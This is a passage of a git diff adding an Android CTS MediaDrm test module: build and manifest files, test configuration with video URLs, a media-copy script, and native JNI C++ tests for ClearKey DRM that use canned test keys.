+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: [
+        "Android-Apache-2.0",
+        "cts_tests_tests_media_license",
+    ],
+}
+
+android_test {
+    name: "CtsMediaDrmFrameworkTestCases",
+    defaults: ["cts_defaults"],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    static_libs: [
+        "ctstestrunner-axt",
+        "cts-media-common",
+        "hamcrest-library",
+        "testng",
+    ],
+    aaptflags: [
+        "--auto-add-overlay",
+        // Give com.android.media.drmframework.cts Java files access to the R class
+        "--extra-packages com.android.media.drmframework.cts",
+
+        // Do not compress these files:
+        "-0 .vp9",
+        "-0 .ts",
+        "-0 .heic",
+        "-0 .trp",
+        "-0 .ota",
+        "-0 .mxmf",
+    ],
+    jni_libs: [
+        "libmediadrm_jni",
+        "libnativehelper_compat_libc++",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "aidl/**/*.aidl",
+    ],
+    // This test uses private APIs
+    platform_apis: true,
+    jni_uses_sdk_apis: true,
+    libs: [
+        "android.test.base",
+        "android.test.runner",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts-media",
+    ],
+    host_required: ["cts-dynamic-config"],
+    min_sdk_version: "29",
+    target_sdk_version: "31",
+}
diff --git a/tests/tests/media/drmframework/AndroidManifest.xml b/tests/tests/media/drmframework/AndroidManifest.xml
new file mode 100644
index 0000000..fd146bd
--- /dev/null
+++ b/tests/tests/media/drmframework/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.media.drmframework.cts"
+     android:targetSandboxVersion="2">
+
+    <uses-sdk android:minSdkVersion="29"
+         android:targetSdkVersion="31"/>
+
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+
+    <uses-permission android:name="android.permission.VIBRATE"/>
+
+    <application android:requestLegacyExternalStorage="true"
+         android:largeHeap="true">
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.media.drmframework.cts"
+         android:label="CTS tests of android MediaDrm">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+
+</manifest>
diff --git a/tests/tests/media/drmframework/AndroidTest.xml b/tests/tests/media/drmframework/AndroidTest.xml
new file mode 100644
index 0000000..065c627
--- /dev/null
+++ b/tests/tests/media/drmframework/AndroidTest.xml
@@ -0,0 +1,54 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Media Drm test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="media" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="host" />
+        <option name="config-filename" value="CtsMediaDrmFrameworkTestCases" />
+        <option name="dynamic-config-name" value="CtsMediaDrmFrameworkTestCases" />
+        <option name="version" value="9.0_r1"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaDrmFrameworkTestCases" />
+        <option name="version" value="7.0"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
+        <option name="push-all" value="true" />
+        <option name="media-folder-name" value="CtsMediaDrmFrameworkTestCases-1.0" />
+        <option name="dynamic-config-module" value="CtsMediaDrmFrameworkTestCases" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsMediaDrmFrameworkTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.media.drmframework.cts" />
+        <!-- setup can be expensive so limit the number of shards -->
+        <option name="ajur-max-shard" value="5" />
+        <!-- test-timeout unit is ms, value = 30 min -->
+        <option name="test-timeout" value="1800000" />
+        <option name="runtime-hint" value="4h" />
+        <option name="exclude-annotation" value="org.junit.Ignore" />
+        <option name="hidden-api-checks" value="false" />
+        <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
+        <option name="isolated-storage" value="false" />
+    </test>
+</configuration>
diff --git a/tests/tests/media/drmframework/DynamicConfig.xml b/tests/tests/media/drmframework/DynamicConfig.xml
new file mode 100644
index 0000000..07950375
--- /dev/null
+++ b/tests/tests/media/drmframework/DynamicConfig.xml
@@ -0,0 +1,50 @@
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<dynamicConfig>
+    <entry key="media_codec_capabilities_test_avc_baseline12">
+        <value>http://redirector.gvt1.com/videoplayback?id=271de9756065677e&amp;itag=160&amp;source=youtube&amp;user=android-device-test&amp;sparams=ip,ipbits,expire,id,itag,source,user&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;signature=9EDCA0B395B8A949C511FD5E59B9F805CFF797FD.702DE9BA7AF96785FD6930AD2DD693A0486C880E&amp;key=ik0</value>
+    </entry>
+    <entry key="media_codec_capabilities_test_avc_baseline30">
+        <value>http://redirector.gvt1.com/videoplayback?id=271de9756065677e&amp;itag=18&amp;source=youtube&amp;user=android-device-test&amp;sparams=ip,ipbits,expire,id,itag,source,user&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;signature=7DCDE3A6594D0B91A27676A3CDC3A87B149F82EA.7A83031734CB1EDCE06766B6228842F954927960&amp;key=ik0</value>
+    </entry>
+    <entry key="media_codec_capabilities_test_avc_high31">
+        <value>http://redirector.gvt1.com/videoplayback?id=271de9756065677e&amp;itag=22&amp;source=youtube&amp;user=android-device-test&amp;sparams=ip,ipbits,expire,id,itag,source,user&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;signature=179525311196616BD8E1381759B0E5F81A9E91B5.C4A50E44059FEBCC6BBC78E3B3A4E0E0065777&amp;key=ik0</value>
+    </entry>
+    <entry key="media_codec_capabilities_test_avc_high40">
+        <value>http://redirector.gvt1.com/videoplayback?id=271de9756065677e&amp;itag=137&amp;source=youtube&amp;user=android-device-test&amp;sparams=ip,ipbits,expire,id,itag,source,user&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;signature=B0976085596DD42DEA3F08307F76587241CB132B.043B719C039E8B92F45391ADC0BE3665E2332930&amp;key=ik0</value>
+    </entry>
+    <entry key="streaming_media_player_test_http_h263_amr_video1">
+        <value>http://redirector.gvt1.com/videoplayback?id=271de9756065677e&amp;itag=13&amp;source=youtube&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;sparams=ip,ipbits,expire,id,itag,source&amp;signature=5729247E22691EBB3E804DDD523EC42DC17DD8CE.443B81C1E8E6D64E4E1555F568BA46C206507D78&amp;key=ik0&amp;user=android-device-test</value>
+    </entry>
+    <entry key="streaming_media_player_test_http_h263_amr_video2">
+        <value>http://redirector.gvt1.com/videoplayback?id=c80658495af60617&amp;itag=13&amp;source=youtube&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;sparams=ip,ipbits,expire,id,itag,source&amp;signature=508D82AB36939345BF6B8D0623CB6CABDD9C64C3.9B3336A96846DF38E5343C46AA57F6CF2956E427&amp;key=ik0&amp;user=android-device-test</value>
+    </entry>
+    <entry key="streaming_media_player_test_http_h264_base_aac_video1">
+        <value>http://redirector.gvt1.com/videoplayback?id=271de9756065677e&amp;itag=18&amp;source=youtube&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;sparams=ip,ipbits,expire,id,itag,source&amp;signature=667AEEF54639926662CE62361400B8F8C1753B3F.15F46C382C68A9F121BA17BF1F56BEDEB4B06091&amp;key=ik0&amp;user=android-device-test</value>
+    </entry>
+    <entry key="streaming_media_player_test_http_h264_base_aac_video2">
+        <value>http://redirector.gvt1.com/videoplayback?id=c80658495af60617&amp;itag=18&amp;source=youtube&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;sparams=ip,ipbits,expire,id,itag,source&amp;signature=46A04ED550CA83B79B60060BA80C79FDA5853D26.49582D382B4A9AFAA163DED38D2AE531D85603C0&amp;key=ik0&amp;user=android-device-test</value>
+    </entry>
+    <entry key="streaming_media_player_test_http_mpeg4_sp_aac_video1">
+        <value>http://redirector.gvt1.com/videoplayback?id=271de9756065677e&amp;itag=17&amp;source=youtube&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;sparams=ip,ipbits,expire,id,itag,source&amp;signature=837198AAADF6F36BA6B2D324F690A7C5B7AFE3FF.7138CE5E36D718220726C1FC305497FF2D082249&amp;key=ik0&amp;user=android-device-test</value>
+    </entry>
+    <entry key="streaming_media_player_test_http_mpeg4_sp_aac_video2">
+        <value>http://redirector.gvt1.com/videoplayback?id=c80658495af60617&amp;itag=17&amp;source=youtube&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;sparams=ip,ipbits,expire,id,itag,source&amp;signature=70E979A621001201BC18622BDBF914FA870BDA40.6E78890B80F4A33A18835F775B1FF64F0A4D0003&amp;key=ik0&amp;user=android-device-test</value>
+    </entry>
+    <entry key="media_files_url">
+    <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/drmframework/CtsMediaDrmFrameworkTestCases-1.0.zip</value>
+    </entry>
+</dynamicConfig>
diff --git a/tests/tests/media/drmframework/OWNERS b/tests/tests/media/drmframework/OWNERS
new file mode 100644
index 0000000..d4bb209
--- /dev/null
+++ b/tests/tests/media/drmframework/OWNERS
@@ -0,0 +1,9 @@
+# Bug component: 1344
+# android-drm-team
+edwinwong@google.com
+fredgc@google.com
+kylealexander@google.com
+mattfedd@google.com
+rfrias@google.com
+robertshih@google.com
+sigquit@google.com
diff --git a/tests/tests/media/drmframework/copy_media.sh b/tests/tests/media/drmframework/copy_media.sh
new file mode 100755
index 0000000..7dfd553
--- /dev/null
+++ b/tests/tests/media/drmframework/copy_media.sh
@@ -0,0 +1,20 @@
+#!/bin/bash
+# Copyright (C) 2022 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+## script to install media test files manually
+[ -z "$MEDIA_ROOT_DIR" ] && MEDIA_ROOT_DIR=$(dirname $0)/..
+source $MEDIA_ROOT_DIR/common/copy_media_utils.sh
+get_adb_options "$@"
+copy_media "drmframework" "CtsMediaDrmFrameworkTestCases-1.0"
diff --git a/tests/tests/media/libmediandkjni/AMediaObjects.h b/tests/tests/media/drmframework/jni/AMediaObjects.h
similarity index 100%
rename from tests/tests/media/libmediandkjni/AMediaObjects.h
rename to tests/tests/media/drmframework/jni/AMediaObjects.h
diff --git a/tests/tests/media/drmframework/jni/Android.bp b/tests/tests/media/drmframework/jni/Android.bp
new file mode 100644
index 0000000..0dc55fa
--- /dev/null
+++ b/tests/tests/media/drmframework/jni/Android.bp
@@ -0,0 +1,46 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+//------------------------------------------------------------------------------
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+//------------------------------------------------------------------------------
+// Builds libmediadrm_jni.so
+//
+cc_test_library {
+    name: "libmediadrm_jni",
+    srcs: [
+        "CtsMediaDrmJniOnLoad.cpp",
+        "native-mediadrm-jni.cpp",
+    ],
+    include_dirs: ["system/core/include"],
+    shared_libs: [
+        "libandroid",
+        "libnativehelper_compat_libc++",
+        "liblog",
+        "libmediandk",
+    ],
+    header_libs: ["liblog_headers"],
+    cflags: [
+        "-Werror",
+        "-Wall",
+    ],
+    stl: "libc++_static",
+    gtest: false,
+    sdk_version: "29",
+}
diff --git a/tests/tests/media/drmframework/jni/CtsMediaDrmJniOnLoad.cpp b/tests/tests/media/drmframework/jni/CtsMediaDrmJniOnLoad.cpp
new file mode 100644
index 0000000..935e8a6
--- /dev/null
+++ b/tests/tests/media/drmframework/jni/CtsMediaDrmJniOnLoad.cpp
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <stdio.h>
+
+extern int registerNativeMediaDrmClearkeyTest(JNIEnv*);
+
+jint JNI_OnLoad(JavaVM *vm, void */*reserved*/) {
+    JNIEnv *env = NULL;
+
+    if (vm->GetEnv((void **) &env, JNI_VERSION_1_4) != JNI_OK) {
+        return JNI_ERR;
+    }
+
+    if (registerNativeMediaDrmClearkeyTest(env)) {
+        return JNI_ERR;
+    }
+
+    return JNI_VERSION_1_4;
+}
diff --git a/tests/tests/media/drmframework/jni/native-mediadrm-jni.cpp b/tests/tests/media/drmframework/jni/native-mediadrm-jni.cpp
new file mode 100644
index 0000000..66afdb0
--- /dev/null
+++ b/tests/tests/media/drmframework/jni/native-mediadrm-jni.cpp
@@ -0,0 +1,1032 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define TAG "NativeMediaDrm"
+
+#include <utils/Log.h>
+#include <sys/types.h>
+
+#include <list>
+#include <string>
+#include <vector>
+
+#include <assert.h>
+#include <jni.h>
+#include <nativehelper/JNIHelp.h>
+#include <sys/stat.h>
+
+#include <android/native_window_jni.h>
+
+#include "AMediaObjects.h"
+
+#include "media/NdkMediaCodec.h"
+#include "media/NdkMediaCrypto.h"
+#include "media/NdkMediaDrm.h"
+#include "media/NdkMediaExtractor.h"
+#include "media/NdkMediaFormat.h"
+#include "media/NdkMediaMuxer.h"
+
+typedef std::vector<uint8_t> Uuid;
+
+struct fields_t {
+    jfieldID surface;
+    jfieldID mimeType;
+    jfieldID audioUrl;
+    jfieldID videoUrl;
+};
+
+struct PlaybackParams {
+    jobject surface;
+    jstring mimeType;
+    jstring audioUrl;
+    jstring videoUrl;
+};
+
+static fields_t gFieldIds;
+static bool gGotVendorDefinedEvent = false;
+static bool gListenerGotValidExpiryTime = false;
+static bool gOnKeyChangeListenerOK = false;
+
+static const char kFileScheme[] = "file://";
+static constexpr size_t kFileSchemeStrLen = sizeof(kFileScheme) - 1;
+static constexpr size_t kPlayTimeSeconds = 30;
+static constexpr size_t kUuidSize = 16;
+
+static const uint8_t kClearKeyUuid[kUuidSize] = {
+    0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
+    0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b
+};
+
+// The test content is not packaged with clearkey UUID,
+// we have to use a canned clearkey pssh for the test.
+static const uint8_t kClearkeyPssh[] = {
+    // BMFF box header (4 bytes size + 'pssh')
+    0x00, 0x00, 0x00, 0x34, 0x70, 0x73, 0x73, 0x68,
+    // full box header (version = 1 flags = 0)
+    0x01, 0x00, 0x00, 0x00,
+    // system id
+    0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
+    0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b,
+    // number of key ids
+    0x00, 0x00, 0x00, 0x01,
+    // key id
+    0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30,
+    0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30,
+    // size of data, must be zero
+    0x00, 0x00, 0x00, 0x00
+};
+
+static const uint8_t kKeyRequestData[] = {
+    0x7b, 0x22, 0x6b, 0x69, 0x64,
+    0x73, 0x22, 0x3a, 0x5b, 0x22,
+    0x4d, 0x44, 0x41, 0x77, 0x4d,
+    0x44, 0x41, 0x77, 0x4d, 0x44,
+    0x41, 0x77, 0x4d, 0x44, 0x41,
+    0x77, 0x4d, 0x44, 0x41, 0x77,
+    0x4d, 0x41, 0x22, 0x5d, 0x2c,
+    0x22, 0x74, 0x79, 0x70, 0x65,
+    0x22, 0x3a, 0x22, 0x74, 0x65,
+    0x6d, 0x70, 0x6f, 0x72, 0x61,
+    0x72, 0x79, 0x22, 0x7d
+};
+
+static const size_t kKeyRequestSize = sizeof(kKeyRequestData);
+
+// base 64 encoded JSON response string, must not contain padding character '='
+static const char kResponse[] = "{\"keys\":[{\"kty\":\"oct\"," \
+        "\"kid\":\"MDAwMDAwMDAwMDAwMDAwMA\",\"k\":" \
+        "\"Pwoz80CYueIrwHjgobXoVA\"}]}";
+
+static bool isUuidSizeValid(Uuid uuid) {
+    return (uuid.size() == kUuidSize);
+}
+
+static std::vector<uint8_t> jbyteArrayToVector(
+    JNIEnv* env, jbyteArray const &byteArray) {
+    uint8_t* buffer = reinterpret_cast<uint8_t*>(
+        env->GetByteArrayElements(byteArray, /*is_copy*/NULL));
+    std::vector<uint8_t> vector;
+    for (jsize i = 0; i < env->GetArrayLength(byteArray); ++i) {
+        vector.push_back(buffer[i]);
+    }
+    return vector;
+}
+
+static Uuid jbyteArrayToUuid(JNIEnv* env, jbyteArray const &uuid) {
+    Uuid juuid;
+    juuid.resize(0);
+    if (uuid != NULL) {
+        juuid = jbyteArrayToVector(env, uuid);
+    }
+    return juuid;
+}
+
+static media_status_t setDataSourceFdFromUrl(
+    AMediaExtractor* extractor, const char* url) {
+
+    const char *path = url + kFileSchemeStrLen;
+    FILE* fp = fopen(path, "r");
+    struct stat buf {};
+    media_status_t status = AMEDIA_ERROR_BASE;
+    if (fp && !fstat(fileno(fp), &buf)) {
+      status = AMediaExtractor_setDataSourceFd(
+          extractor,
+          fileno(fp), 0, buf.st_size);
+    } else {
+        status = AMEDIA_ERROR_IO;
+        ALOGE("Failed to convert URL to Fd");
+    }
+    if (fp && fclose(fp) == EOF) {
+        // 0 indicate success, EOF for error
+        ALOGE("Failed to close file pointer");
+    }
+    return status;
+}
+
+static media_status_t setDataSourceFdOrUrl(
+    AMediaExtractor* extractor, const char* url) {
+
+    media_status_t status = AMEDIA_ERROR_BASE;
+    if (strlen(url) > kFileSchemeStrLen && strncmp(url, kFileScheme, kFileSchemeStrLen) == 0) {
+        status = setDataSourceFdFromUrl(extractor, url);
+    } else {
+       status = AMediaExtractor_setDataSource(extractor, url);
+    }
+    return status;
+}
+
+extern "C" jboolean isCryptoSchemeSupportedNative(
+    JNIEnv* env, jclass /*clazz*/, jbyteArray uuid) {
+
+    if (NULL == uuid) {
+        jniThrowException(env, "java/lang/NullPointerException", "null uuid");
+        return JNI_FALSE;
+    }
+
+    Uuid juuid = jbyteArrayToUuid(env, uuid);
+    if (isUuidSizeValid(juuid)) {
+         return AMediaDrm_isCryptoSchemeSupported(&juuid[0], NULL);
+    } else {
+          jniThrowExceptionFmt(env, "java/lang/IllegalArgumentException",
+                  "invalid UUID size, expected %u bytes", kUuidSize);
+    }
+    return JNI_FALSE;
+}
+
+void initPlaybackParams(JNIEnv* env, const jobject &playbackParams, PlaybackParams &params) {
+    params.surface = env->GetObjectField(
+        playbackParams, gFieldIds.surface);
+
+    params.mimeType = static_cast<jstring>(env->GetObjectField(
+        playbackParams, gFieldIds.mimeType));
+
+    params.audioUrl = static_cast<jstring>(env->GetObjectField(
+        playbackParams, gFieldIds.audioUrl));
+
+    params.videoUrl = static_cast<jstring>(env->GetObjectField(
+        playbackParams, gFieldIds.videoUrl));
+}
+
+extern "C" jboolean testGetPropertyStringNative(
+    JNIEnv* env, jclass clazz, jbyteArray uuid,
+    jstring name, jobject outValue) {
+
+    if (NULL == uuid || NULL == name || NULL == outValue) {
+        jniThrowException(env, "java/lang/NullPointerException",
+                "One or more null input parameters");
+        return JNI_FALSE;
+    }
+
+    Uuid juuid = jbyteArrayToUuid(env, uuid);
+    if (!isUuidSizeValid(juuid)) {
+        jniThrowExceptionFmt(env, "java/lang/IllegalArgumentException",
+                "invalid UUID size, expected %u bytes", kUuidSize);
+        return JNI_FALSE;
+    }
+
+    AMediaObjects aMediaObjects;
+    aMediaObjects.setDrm(AMediaDrm_createByUUID(&juuid[0]));
+    if (NULL == aMediaObjects.getDrm()) {
+        jniThrowException(env, "java/lang/RuntimeException", "null MediaDrm");
+        return JNI_FALSE;
+    }
+
+    const char *utf8_name = env->GetStringUTFChars(name, NULL);
+    const char *utf8_outValue = NULL;
+    media_status_t status = AMediaDrm_getPropertyString(aMediaObjects.getDrm(),
+            utf8_name, &utf8_outValue);
+    env->ReleaseStringUTFChars(name, utf8_name);
+
+    if (NULL != utf8_outValue) {
+        clazz = env->GetObjectClass(outValue);
+        jmethodID mId = env->GetMethodID (clazz, "append",
+                "(Ljava/lang/String;)Ljava/lang/StringBuffer;");
+        jstring outString = env->NewStringUTF(
+                static_cast<const char *>(utf8_outValue));
+        env->CallObjectMethod(outValue, mId, outString);
+    } else {
+        jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                "get property string returns %d", status);
+        return JNI_FALSE;
+    }
+    return JNI_TRUE;
+}
+
+extern "C" jboolean testPropertyByteArrayNative(
+        JNIEnv* env, jclass /* clazz */, jbyteArray uuid) {
+
+    if (NULL == uuid) {
+        jniThrowException(env, "java/lang/NullPointerException",
+                "uuid is NULL");
+        return JNI_FALSE;
+    }
+
+    Uuid juuid = jbyteArrayToUuid(env, uuid);
+    if (!isUuidSizeValid(juuid)) {
+        jniThrowExceptionFmt(env, "java/lang/IllegalArgumentException",
+                "invalid UUID size, expected %u bytes", kUuidSize);
+        return JNI_FALSE;
+    }
+
+    AMediaDrm* drm = AMediaDrm_createByUUID(&juuid[0]);
+    const char *propertyName = "clientId";
+    const uint8_t value[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
+    media_status_t status = AMediaDrm_setPropertyByteArray(drm, propertyName, value, sizeof(value));
+    if (status != AMEDIA_OK) {
+        jniThrowException(env, "java/lang/RuntimeException", "setPropertyByteArray failed");
+        AMediaDrm_release(drm);
+        return JNI_FALSE;
+    }
+    AMediaDrmByteArray array;
+    status = AMediaDrm_getPropertyByteArray(drm, propertyName, &array);
+    if (status != AMEDIA_OK) {
+        jniThrowException(env, "java/lang/RuntimeException", "getPropertyByteArray failed");
+        AMediaDrm_release(drm);
+        return JNI_FALSE;
+    }
+    if (array.length != sizeof(value)) {
+        jniThrowException(env, "java/lang/RuntimeException", "byte array size differs");
+        AMediaDrm_release(drm);
+        return JNI_FALSE;
+    }
+    if (!array.ptr) {
+        jniThrowException(env, "java/lang/RuntimeException", "byte array pointer is null");
+        AMediaDrm_release(drm);
+        return JNI_FALSE;
+    }
+    if (memcmp(array.ptr, value, sizeof(value)) != 0) {
+        jniThrowException(env, "java/lang/RuntimeException", "byte array content differs");
+        AMediaDrm_release(drm);
+        return JNI_FALSE;
+    }
+    AMediaDrm_release(drm);
+    return JNI_TRUE;
+}
+
+extern "C" jboolean testPsshNative(
+    JNIEnv* env, jclass /*clazz*/, jbyteArray uuid, jstring videoUrl) {
+
+    if (NULL == uuid || NULL == videoUrl) {
+        jniThrowException(env, "java/lang/NullPointerException",
+                "null uuid or null videoUrl");
+        return JNI_FALSE;
+    }
+
+    Uuid juuid = jbyteArrayToUuid(env, uuid);
+    if (!isUuidSizeValid(juuid)) {
+        jniThrowExceptionFmt(env, "java/lang/IllegalArgumentException",
+                "invalid UUID size, expected %u bytes", kUuidSize);
+        return JNI_FALSE;
+    }
+
+    AMediaObjects aMediaObjects;
+    aMediaObjects.setVideoExtractor(AMediaExtractor_new());
+    const char* url = env->GetStringUTFChars(videoUrl, 0);
+    if (url) {
+        media_status_t status = setDataSourceFdOrUrl(
+            aMediaObjects.getVideoExtractor(), url);
+        env->ReleaseStringUTFChars(videoUrl, url);
+
+        if (status != AMEDIA_OK) {
+            jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                    "set video data source error=%d", status);
+            return JNI_FALSE;
+        }
+    }
+
+    PsshInfo* psshInfo = AMediaExtractor_getPsshInfo(aMediaObjects.getVideoExtractor());
+    if (psshInfo == NULL) {
+        jniThrowException(env, "java/lang/RuntimeException", "null psshInfo");
+        return JNI_FALSE;
+    }
+
+    jboolean testResult = JNI_FALSE;
+    for (size_t i = 0; i < psshInfo->numentries; i++) {
+        PsshEntry *entry = &psshInfo->entries[i];
+
+        if (0 == memcmp(entry->uuid, kClearKeyUuid, sizeof(entry->uuid))) {
+            aMediaObjects.setDrm(AMediaDrm_createByUUID(&juuid[0]));
+            if (aMediaObjects.getDrm()) {
+                testResult = JNI_TRUE;
+            } else {
+                ALOGE("Failed to create media drm=%zd", i);
+                testResult = JNI_FALSE;
+            }
+            break;
+        }
+    }
+    return testResult;
+}
+
+static bool isVideo(const char* mime) {
+    return !strncmp(mime, "video/", 6) ? true : false;
+}
+
+static bool isAudio(const char* mime) {
+    return !strncmp(mime, "audio/", 6) ? true : false;
+}
+
+static void addTrack(const AMediaFormat* format,
+        const char* mime, const AMediaCrypto* crypto,
+        const ANativeWindow* window, AMediaCodec** codec) {
+
+    *codec = AMediaCodec_createDecoderByType(mime);
+    if (codec == NULL) {
+        ALOGE("cannot create codec for %s", mime);
+        return;
+    }
+
+    AMediaCodec_configure(*codec, format,
+            const_cast<ANativeWindow*>(window),
+            const_cast<AMediaCrypto*>(crypto), 0);
+}
+
+static void addTracks(const AMediaExtractor* extractor,
+        const AMediaCrypto* crypto, const ANativeWindow* window,
+        AMediaCodec** codec) {
+    size_t numTracks = AMediaExtractor_getTrackCount(
+        const_cast<AMediaExtractor*>(extractor));
+
+    AMediaFormat* trackFormat = NULL;
+    for (size_t i = 0; i < numTracks; ++i) {
+        trackFormat = AMediaExtractor_getTrackFormat(
+            const_cast<AMediaExtractor*>(extractor), i);
+        if (trackFormat) {
+            ALOGV("track %zd format: %s", i,
+                    AMediaFormat_toString(trackFormat));
+
+            const char* mime = "";
+            if (!AMediaFormat_getString(
+                trackFormat, AMEDIAFORMAT_KEY_MIME, &mime)) {
+                ALOGE("no mime type");
+
+                AMediaFormat_delete(trackFormat);
+                return;
+            } else if (isAudio(mime) || isVideo(mime)) {
+                AMediaExtractor_selectTrack(
+                    const_cast<AMediaExtractor*>(extractor), i);
+                ALOGV("track %zd codec format: %s", i,
+                        AMediaFormat_toString(trackFormat));
+
+                addTrack(trackFormat, mime, crypto, window, codec);
+                AMediaCodec_start(*codec);
+                AMediaCodec_flush(*codec);
+                AMediaExtractor_seekTo(
